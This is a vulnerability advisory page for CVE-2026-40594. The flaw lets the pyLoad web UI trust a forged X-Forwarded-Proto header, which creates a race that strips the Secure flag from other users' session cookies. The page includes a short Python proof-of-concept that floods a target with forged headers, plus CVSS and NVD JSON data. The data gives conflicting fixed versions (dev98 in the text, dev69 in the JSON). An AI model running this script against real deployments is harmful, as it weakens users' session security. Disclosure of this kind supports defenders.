Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-40594 CVSS 4.8 MEDIUM

CVE-2026-40594

Published: 2026-04-21 18:16:52
Last Modified: 2026-04-27 19:43:47

Description

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev98, the set_session_cookie_secure before_request handler in src/pyload/webui/app/__init__.py reads the X-Forwarded-Proto header from any HTTP request without validating that the request originates from a trusted proxy, then mutates the global Flask configuration SESSION_COOKIE_SECURE on every request. Because pyLoad uses the multi-threaded Cheroot WSGI server (request_queue_size=512), this creates a race condition where an attacker's request can influence the Secure flag on other users' session cookies β€” either downgrading cookie security behind a TLS proxy or causing a session denial-of-service on plain HTTP deployments. This vulnerability is fixed in 0.5.0b3.dev98.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:* - VULNERABLE
pyLoad < 0.5.0b3.dev98

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable pyLoad instance target_url = "http://localhost:8000/" # Headers to inject the malicious X-Forwarded-Proto headers = { "X-Forwarded-Proto": "http" } # Send multiple requests to trigger the race condition print("Sending requests to trigger race condition...") for i in range(100): try: response = requests.get(target_url, headers=headers) # Analyze Set-Cookie header to see if Secure flag is missing cookies = response.headers.get('Set-Cookie') if cookies and 'Secure' not in cookies: print(f"Request {i}: Potential Security Downgrade detected - {cookies}") except Exception as e: print(f"Request {i} failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40594", "sourceIdentifier": "[email protected]", "published": "2026-04-21T18:16:51.553", "lastModified": "2026-04-27T19:43:46.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev98, the set_session_cookie_secure before_request handler in src/pyload/webui/app/__init__.py reads the X-Forwarded-Proto header from any HTTP request without validating that the request originates from a trusted proxy, then mutates the global Flask configuration SESSION_COOKIE_SECURE on every request. Because pyLoad uses the multi-threaded Cheroot WSGI server (request_queue_size=512), this creates a race condition where an attacker's request can influence the Secure flag on other users' session cookies β€” either downgrading cookie security behind a TLS proxy or causing a session denial-of-service on plain HTTP deployments. This vulnerability is fixed in 0.5.0b3.dev98."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.5.0b3.dev69", "matchCriteriaId": "D149F810-22BB-440C-8672-58947D5E4CAB"}]}]}], "references": [{"url": "https://github.com/pyload/pyload/security/advisories/GHSA-mp82-fmj6-f22v", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-mp82-fmj6-f22v", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}